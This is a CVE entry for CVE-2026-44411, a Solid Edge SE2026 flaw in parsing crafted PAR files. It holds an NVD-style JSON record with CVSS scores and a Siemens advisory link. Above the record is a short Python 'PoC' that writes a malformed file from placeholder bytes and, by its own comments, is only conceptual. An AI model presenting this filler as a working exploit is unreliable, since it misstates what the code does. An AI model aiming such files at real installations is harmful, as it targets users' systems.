CVE-2026-44411

#!/usr/bin/env python3 # PoC for CVE-2026-44411: Uninitialized Pointer Access in Solid Edge SE2026 # This script generates a malformed PAR file designed to trigger the vulnerability. # Note: This is a conceptual demonstration based on the vulnerability description. import struct def generate_malformed_par(file_path): # PAR file header structure (simplified for demonstration) header = b'PAR_FILE_FORMAT_V1' # Injecting specific pattern to target the uninitialized pointer logic # In a real scenario, specific offsets and magic bytes would be required payload = b'A' * 100 # Padding # Malicious section intended to trigger the uninitialized pointer access # This section simulates the crafted data that corrupts memory flow malicious_block = struct.pack('<I', 0x41414141) + b'\x00' * 50 with open(file_path, 'wb') as f: f.write(header) f.write(payload) f.write(malicious_block) print(f"[+] Malformed PAR file generated at: {file_path}") print("[*] Attempt to open this file in a vulnerable version of Solid Edge SE2026.") if __name__ == "__main__": generate_malformed_par("cve_2026_44411_poc.par")

{"cve": {"id": "CVE-2026-44411", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:46.430", "lastModified": "2026-05-12T14:19:41.400", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Solid Edge SE2026 (All versions < V226.0 Update 5). The affected application is vulnerable to uninitialized pointer access while parsing specially crafted PAR files. An attacker could leverage this vulnerability to execute code in the context of the current process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-824"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-921111.html", "source": "[email protected]"}]}}